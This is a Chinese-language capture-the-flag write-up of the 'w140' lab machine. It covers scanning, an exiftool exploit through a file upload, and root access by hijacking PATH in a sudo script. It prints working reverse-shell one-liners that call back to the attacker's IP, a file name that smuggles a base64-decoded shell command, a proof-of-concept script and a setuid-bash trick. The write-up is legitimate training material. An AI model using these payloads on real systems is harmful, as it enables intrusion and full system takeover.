文章

W140

w140

image-20240426231140867

image-20240426231651535

信息搜集

端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
┌──(kali💀kali)-[~/temp/w140]
└─$ rustscan -a 10.0.2.20 -- -A    
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Nmap? More like slowmap.🐢

[~] The config file is expected to be at "/home/kali/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 10.0.2.20:22
Open 10.0.2.20:80
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p  ")

Warning: Hit PCRE_ERROR_MATCHLIMIT when probing for service http with the regex '^HTTP/1\.1 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?.*\r\nServer: Virata-EmWeb/R([\d_]+)\r\nContent-Type: text/html; ?charset=UTF-8\r\nExpires: .*<title>HP (Color |)LaserJet ([\w._ -]+)&nbsp;&nbsp;&nbsp;'
[~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-26 11:17 EDT
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 11:17
Completed NSE at 11:17, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 11:17
Completed NSE at 11:17, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 11:17
Completed NSE at 11:17, 0.00s elapsed
Initiating Ping Scan at 11:17
Scanning 10.0.2.20 [2 ports]
Completed Ping Scan at 11:17, 0.00s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 11:17
Completed Parallel DNS resolution of 1 host. at 11:17, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 11:17
Scanning 10.0.2.20 [2 ports]
Discovered open port 22/tcp on 10.0.2.20
Discovered open port 80/tcp on 10.0.2.20
Completed Connect Scan at 11:17, 0.00s elapsed (2 total ports)
Initiating Service scan at 11:17
Scanning 2 services on 10.0.2.20
Completed Service scan at 11:17, 6.07s elapsed (2 services on 1 host)
NSE: Script scanning 10.0.2.20.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 11:17
Completed NSE at 11:17, 0.32s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 11:17
Completed NSE at 11:17, 0.01s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 11:17
Completed NSE at 11:17, 0.00s elapsed
Nmap scan report for 10.0.2.20
Host is up, received syn-ack (0.00044s latency).
Scanned at 2024-04-26 11:17:25 EDT for 6s

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 ff:fd:b2:0f:38:88:1a:44:c4:2b:64:2c:d2:97:f6:8d (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDJKWNkfy8PbdrAcMdxy7kWBq5iWHXTzkG3xRUBL5P88XuLi8SZLoMTwIcS5APTEU5hHz6ae2dNtq/NRBD2NkLREINsgJNEgEEosMQLrJMCgUqVLZQGObJOG3USAQ42QmW3rMp34L2bSPqmq1IRGPbI1FoV6ToRveEXooUTiMrl07nVsI3xwdm7O6V653JmlE1qKYH/tL1bQ5TQ43dX2INZRjuzB20SdOm5p1x2QnFcKjngbhmGDyYBN9FMSGsrPMdvjd6WHAeU0hzJgg7Uw55nkWzmWPfjwzkGTg1O74edFAgEj1AvBvl4Of3pcAf0EpxP5TOuawIsmKBmC+oQIgh2MgFXrKr7oMAxvSasvkAkMaXXe7tEMdDxgIr5w1TWgaxSUHM1vS58Z3+Ebxcss8NgbeeCA4iCUutg9iPPudFgzJSw7g0L0xS8w942f6DdQFOo65FEOwj9j54ESfMU8d6IyMtd1METepK3KFpyyBiiHYnjGOy9ns1E7f/fo7+KtIM=
|   256 ca:50:54:f7:24:4e:a7:f1:06:46:e7:22:30:ec:95:b7 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLCt2rpz+6Yt+kOCXbY2sLJEwc66kfCz200w1PiexHM7HN8IdliV0pg/iktzu3lsOBeFwmYbsD1NHHZz7j6Ftgg=
|   256 09:68:c0:62:83:1e:f1:5d:cb:29:a6:5e:b4:72:aa:cf (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAI0q5tzWMhFnkW/6Zz8ER108rSSLtVfq8YX5AnJ3vQG
80/tcp open  http    syn-ack Apache httpd 2.4.54 ((Debian))
|_http-title: w140
| http-methods: 
|_  Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.54 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 11:17
Completed NSE at 11:17, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 11:17
Completed NSE at 11:17, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 11:17
Completed NSE at 11:17, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.67 seconds

目录扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
┌──(kali💀kali)-[~/temp/w140]
└─$ gobuster dir -u http://10.0.2.20 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,zip,bak,jpg,txt,html
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.0.2.20
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              bak,jpg,txt,html,php,zip
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 274]
/index.html           (Status: 200) [Size: 13235]
/.html                (Status: 403) [Size: 274]
/assets               (Status: 301) [Size: 307] [--> http://10.0.2.20/assets/]
/service.html         (Status: 200) [Size: 3417]
/upload.php           (Status: 200) [Size: 3773]
/css                  (Status: 301) [Size: 304] [--> http://10.0.2.20/css/]
/manual               (Status: 301) [Size: 307] [--> http://10.0.2.20/manual/]
/js                   (Status: 301) [Size: 303] [--> http://10.0.2.20/js/]
/.html                (Status: 403) [Size: 274]
/.php                 (Status: 403) [Size: 274]
/server-status        (Status: 403) [Size: 274]
Progress: 1543920 / 1543927 (100.00%)
===============================================================
Finished
===============================================================

漏洞发现

踩点

1
2
┌──(kali💀kali)-[~/temp/w140]
└─$ whatweb http://10.0.2.20http://10.0.2.20 [200 OK] Apache[2.4.54], Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.54 (Debian)], IP[10.0.2.20], JQuery[3.3.1], PasswordField[confirm-password,user-password], Script[text/javascript], Title[w140]

文件上传

image-20240426232542404

尝试上传反弹shell:

image-20240426232746431

尝试上传伪装的反弹shell失败,随便上传一个照片试试!

image-20240426233008375

image-20240426233022347

漏洞尝试

看到版本了,尝试搜索漏洞!!!

image-20240426233203871

尝试利用一下,但是我在利用的时候十分不顺利:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌──(kali💀kali)-[~/temp/w140]
└─$ python3 50911.py -s 10.0.2.4 1234                                        

        _ __,~~~/_        __  ___  _______________  ___  ___
    ,~~`( )_( )-\|       / / / / |/ /  _/ ___/ __ \/ _ \/ _ \
        |/|  `--.       / /_/ /    // // /__/ /_/ / , _/ // /
_V__v___!_!__!_____V____\____/_/|_/___/\___/\____/_/|_/____/....
    
RUNNING: UNICORD Exploit for CVE-2021-22204
PAYLOAD: (metadata "\c${use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));if(connect(S,sockaddr_in(1234,inet_aton('10.0.2.4')))){open(STDIN,'>&S');open(STDOUT,'>&S');open(STDERR,'>&S');exec('/bin/sh -i');};};")
Traceback (most recent call last):
  File "/home/kali/temp/w140/50911.py", line 138, in <module>
    exploit(command)
  File "/home/kali/temp/w140/50911.py", line 74, in exploit
    subprocess.run(['bzz', 'payload', 'payload.bzz'])
  File "/usr/lib/python3.11/subprocess.py", line 548, in run
    with Popen(*popenargs, **kwargs) as process:
         ^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3.11/subprocess.py", line 1026, in __init__
    self._execute_child(args, executable, preexec_fn, close_fds,
  File "/usr/lib/python3.11/subprocess.py", line 1953, in _execute_child
    raise child_exception_type(errno_num, err_msg, err_filename)
FileNotFoundError: [Errno 2] No such file or directory: 'bzz'

其实并没有错,但是需要进行转换,有些复杂,尝试使用msf的现有模块!

https://vk9-sec.com/exiftool-12-23-arbitrary-code-execution-privilege-escalation-cve-2021-22204/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
msf6 > search exiftool 12.23

Matching Modules
================

   #  Name                                                      Disclosure Date  Rank       Check  Description
   -  ----                                                      ---------------  ----       -----  -----------
   0  exploit/unix/fileformat/exiftool_djvu_ant_perl_injection  2021-05-24       excellent  No     ExifTool DjVu ANT Perl injection
   1    \_ target: JPEG file                                    .                .          .      .
   2    \_ target: TIFF file                                    .                .          .      .
   3    \_ target: DjVu file                                    .                .          .      .

Interact with a module by name or index. For example info 3, use 3 or use exploit/unix/fileformat/exiftool_djvu_ant_perl_injection
After interacting with a module you can manually set a TARGET with set TARGET 'DjVu file'

msf6 > use 3
[*] Additionally setting TARGET => DjVu file
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(unix/fileformat/exiftool_djvu_ant_perl_injection) > show options

Module options (exploit/unix/fileformat/exiftool_djvu_ant_perl_injection):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   FILENAME  msf.jpg          yes       Output file

Payload options (cmd/unix/python/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.0.2.4         yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

   **DisablePayloadHandler: True   (no handler will be created!)**

Exploit target:

   Id  Name
   --  ----
   2   DjVu file

View the full module info with the info, or info -d command.

msf6 exploit(unix/fileformat/exiftool_djvu_ant_perl_injection) > set lport 1234
lport => 1234
msf6 exploit(unix/fileformat/exiftool_djvu_ant_perl_injection) > show options

Module options (exploit/unix/fileformat/exiftool_djvu_ant_perl_injection):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   FILENAME  msf.jpg          yes       Output file


Payload options (cmd/unix/python/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.0.2.4         yes       The listen address (an interface may be specified)
   LPORT  1234             yes       The listen port

   **DisablePayloadHandler: True   (no handler will be created!)**

Exploit target:

   Id  Name
   --  ----
   2   DjVu file

View the full module info with the info, or info -d command.

msf6 exploit(unix/fileformat/exiftool_djvu_ant_perl_injection) > run

[+] msf.jpg stored at /home/kali/.msf4/local/msf.jpg
msf6 exploit(unix/fileformat/exiftool_djvu_ant_perl_injection) > exit

┌──(kali💀kali)-[~/temp/w140]
└─$ cp /home/kali/.msf4/local/msf.jpg .

image-20240427000443651

1
2
3
┌──(kali💀kali)-[~/temp/w140]
└─$ file msf.jpg 
msf.jpg: DjVu multiple page document

等下,漏洞版本不对。。。。

image-20240427001942610

https://github.com/dpbe32/CVE-2022-23935-PoC-Exploit/blob/main/exploit.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/bin/bash

# CVE-2022-23935 exiftool version 12.37

# If the program gives error, you can exploit it manually with the following commands:

#echo "ping 10.10.14.70 -c1" | base64
#mv imagen.png "echo base64_code|base64 -d|sh|"




function ctrl_c(){
	echo -e "\n\n [!] Exiting...\n\n"
	exit 1
}

# Ctrl+c
trap ctrl_c INT

if [ "$(id -u)" == "0" ]; then
	mv image.png "echo $(echo 'whoami'|base64) | base64 -d | sh"
else
	echo -e "\n[!] You need execute this program with root user"
fi

可以看到漏洞原理是改变名字进行弹shell!!!

1
2
3
┌──(kali💀kali)-[~/temp/w140]
└─$ echo "nc -e /bin/bash 10.0.2.4 1234" | base64
bmMgLWUgL2Jpbi9iYXNoIDEwLjAuMi40IDEyMzQK

所以文件名为:echo bmMgLWUgL2Jpbi9iYXNoIDEwLjAuMi40IDEyMzQK|base64 -d|sh|

正常肯定是不行的,抓包修改!

1
2
3
Content-Disposition: form-data; name="image"; filename="echo 'bmMgLWUgL2Jpbi9iYXNoIDEwLjAuMi40IDEyMzQK'|base64 -d|sh|"

Content-Type: image/png

额,没成功,换一个。。。。

1
2
3
┌──(kali💀kali)-[~/temp/w140/CVE-2021-22204-exiftool]
└─$ echo -n "bash -i >& /dev/tcp/10.0.2.4/1234 0>&1" | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjIuNC8xMjM0IDA+JjE=
1
2
3
Content-Disposition: form-data; name="image"; filename="echo -n 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjIuNC8xMjM0IDA+JjE='|base64 -d|bash|"

Content-Type: image/png

image-20240427003523371

提权

信息搜集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
(remote) www-data@w140:/var/www/uploads/1714149308$ sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for www-data: 
sudo: a password is required
(remote) www-data@w140:/var/www/uploads/1714149308$ cd ../../
(remote) www-data@w140:/var/www$ ls -la
total 48
drwxr-xr-x  4 root     root  4096 Feb 21  2023 .
drwxr-xr-x 12 root     root  4096 Jan 29  2023 ..
-rw-r--r--  1 root     root 28744 Feb 21  2023 .w140.png
drwxr-xr-x  7 root     root  4096 Feb 14  2023 html
drwx------  8 www-data root  4096 Apr 26 12:35 uploads
(remote) www-data@w140:/var/www$ cat .w140.png

QRcode decode!

啥玩意,传过来看看:

image-20240427004007237

额,扫一下:https://online-barcode-reader.inliteresearch.com/

image-20240427004113074

BaoeCblP5KGJDmA
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
(remote) www-data@w140:/var/www$ ls -la
total 48
drwxr-xr-x  4 root     root  4096 Feb 21  2023 .
drwxr-xr-x 12 root     root  4096 Jan 29  2023 ..
-rw-r--r--  1 root     root 28744 Feb 21  2023 .w140.png
drwxr-xr-x  7 root     root  4096 Feb 14  2023 html
drwx------  8 www-data root  4096 Apr 26 12:35 uploads
(remote) www-data@w140:/var/www$ cd /home
(remote) www-data@w140:/home$ ls -la
total 12
drwxr-xr-x  3 root  root  4096 Jan 29  2023 .
drwxr-xr-x 18 root  root  4096 Jan 29  2023 ..
drwxr-xr-x  3 ghost ghost 4096 Feb 21  2023 ghost
(remote) www-data@w140:/home$ su ghost
Password: 
ghost@w140:/home$ 

幸好只有一个用户,我也试了root,但是不对。。。。

劫持环境变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
ghost@w140:/home$ sudo -l
Matching Defaults entries for ghost on w140:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User ghost may run the following commands on w140:
    (root) SETENV: NOPASSWD: /opt/Benz-w140
ghost@w140:/home$ file /opt/Benz-w140
/opt/Benz-w140: ASCII text
ghost@w140:/home$ cat /opt/Benz-w140
                                                                                                               
#!/bin/bash
. /opt/.bashre
cd /home/ghost/w140      

# clean up log files
if [ -s log/w140.log ] && ! [ -L log/w140.log ]
then
/bin/cat log/w140.log > log/w140.log.old
/usr/bin/truncate -s@ log/w140.log
fi

# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \;

发现find使用的是相对路径,尝试进行劫持!!!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
ghost@w140:/home$ cd /tmp
ghost@w140:/tmp$ echo 'chmod +s /bin/bash' > find
ghost@w140:/tmp$ ls -l find
-rw-r--r-- 1 ghost ghost 19 Apr 26 12:45 find
ghost@w140:/tmp$ ls -l /bin/bash
-rwxr-xr-x 1 root root 1234376 Mar 27  2022 /bin/bash
ghost@w140:/tmp$ chmod +x find
ghost@w140:/tmp$ PATH=$PWD:$PATH
ghost@w140:/tmp$ echon $PATH
bash: echon: command not found
ghost@w140:/tmp$ echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
ghost@w140:/tmp$ sudo -l
Matching Defaults entries for ghost on w140:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User ghost may run the following commands on w140:
    (root) SETENV: NOPASSWD: /opt/Benz-w140
ghost@w140:/tmp$ sudo /opt/Benz-w140
.
./find
/opt/Benz-w140: 4: cd: can't cd to /home/ghost/w140
find: ‘source_images’: No such file or directory
ghost@w140:/tmp$ ls -l /bin/bash
-rwxr-xr-x 1 root root 1234376 Mar 27  2022 /bin/bash
ghost@w140:/tmp$ sudo $PATH /opt/Benz-w140
[sudo] password for ghost: 
sudo: /tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin: command not found
ghost@w140:/tmp$ ls -l /bin/bash
-rwxr-xr-x 1 root root 1234376 Mar 27  2022 /bin/bash
ghost@w140:/tmp$ sudo PATH=/tmp:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games /opt/Benz-w140
/opt/Benz-w140: 4: cd: can't cd to /home/ghost/w140
ghost@w140:/tmp$ ls -l /bin/bash
-rwsr-sr-x 1 root root 1234376 Mar 27  2022 /bin/bash
ghost@w140:/tmp$ /bin/bash -p
ghost@w140:/tmp# id
uid=1000(ghost) gid=1000(ghost) euid=0(root) egid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),1000(ghost)
ghost@w140:/tmp# cd /root
ghost@w140:/root# ls -la
total 24
drwx------  3 root root 4096 Feb 21  2023 .
drwxr-xr-x 18 root root 4096 Jan 29  2023 ..
lrwxrwxrwx  1 root root    9 Feb  8  2023 .bash_history -> /dev/null
-rw-r--r--  1 root root  571 Apr 10  2021 .bashrc
drwxr-xr-x  3 root root 4096 Feb 14  2023 .local
-rw-r--r--  1 root root  161 Jul  9  2019 .profile
-rw-------  1 root root    0 Feb 21  2023 .python_history
-rw-------  1 root root   33 Feb 21  2023 root.txt
ghost@w140:/root# cat root.txt 
2f9f7d1b4a6ae9d6bbbaf6298c5dcc25

其实这里可以直接bash的。。。。。。

本文由作者按照 CC BY 4.0 进行授权